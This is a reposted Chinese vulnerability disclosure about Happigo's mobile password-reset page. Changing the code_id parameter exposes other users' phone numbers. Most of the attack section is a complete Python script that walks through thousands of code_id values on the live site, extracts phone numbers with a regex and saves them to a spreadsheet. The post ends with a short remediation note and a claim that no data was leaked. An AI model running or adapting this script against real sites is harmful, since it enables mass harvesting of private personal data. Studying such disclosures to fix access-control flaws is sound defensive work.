来源:自学PHP网 时间:2015-04-17 10:15 作者: 阅读:次
[导读] 快乐购大量用户敏感信息泄露,可批量获取一、在忘记密码功能点,权限控制不严,存在大量用户敏感信息泄露url:m.happigo.com/user/login.php第一步进入登陆页面,点击忘记密码:第二步输...
快乐购大量用户敏感信息泄露,可批量获取
一、在忘记密码功能点,权限控制不严,存在大量用户敏感信息泄露 url:m.happigo.com/user/login.php
第一步进入登陆页面,点击忘记密码:
第二步输入用户名,手机号码,用于发送验证码
第三步要输入验证码,这里我们就不管了,现在看看url地址:
http://m.happigo.com/user/checkcode.php?code_id=16059
这个code_id就是存在问题,这里我是第16060位重置自己密码的用户,这里把用户的手机号码显示出来了,那么我们试试更改一下这个code_id,看能不能看到其他用户的手机号码。我们把code_id改为16059,如下图,果然可以看到其他用户的手机号码,上一个脚本爬出所有重置过密码的用户的手机号码,大量信息啊!!!
下面给出脚本批量获取到的用户信息。
============================================================================
#-*- coding:utf-8-*- import urllib2 from tempfile import TemporaryFile from xlwt import Workbook import re vulinfo_list = [] code_id_list = [] def req_url(code_id): url = "http://m.happigo.com/user/checkcode.php?code_id=%d" % code_id req = urllib2.Request(url) req.add_header( "Connection","keep-alive" ) res = urllib2.urlopen( req ) html = res.read() return html,code_id def match_info(html,code_id): if re.search(r'\d{11}',html): phonenumber = re.search(r'\d{11}',html).group() print "[%s]手机号码:" % code_id,phonenumber vulinfo_list.append(int(phonenumber)) code_id_list.append(int(code_id)) def thread_run(sheet1): for code_id in range(16060): html,code_id = req_url(code_id) match_info(html,code_id) if len(code_id_list) == len(vulinfo_list): for i in range(len(vulinfo_list)): #for j in range(0,2): sheet1.write(i,0,code_id_list[i]) sheet1.write(i,1,vulinfo_list[i]) def run(): book = Workbook() sheet1 = book.add_sheet('Sheet 1') thread_run(sheet1) book.save('happigo_user_phonenumber.xls') book.save(TemporaryFile()) if __name__ == "__main__": run()
============================================================================
结果:
由于这是很早前的截取的信息,截止目前已经差不多到1w用户手机号码了。
二、声明
没有泄露任何截获到的用户信息,及进行非法操作。
修复方案:
隐藏并控制好用户敏感信息 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com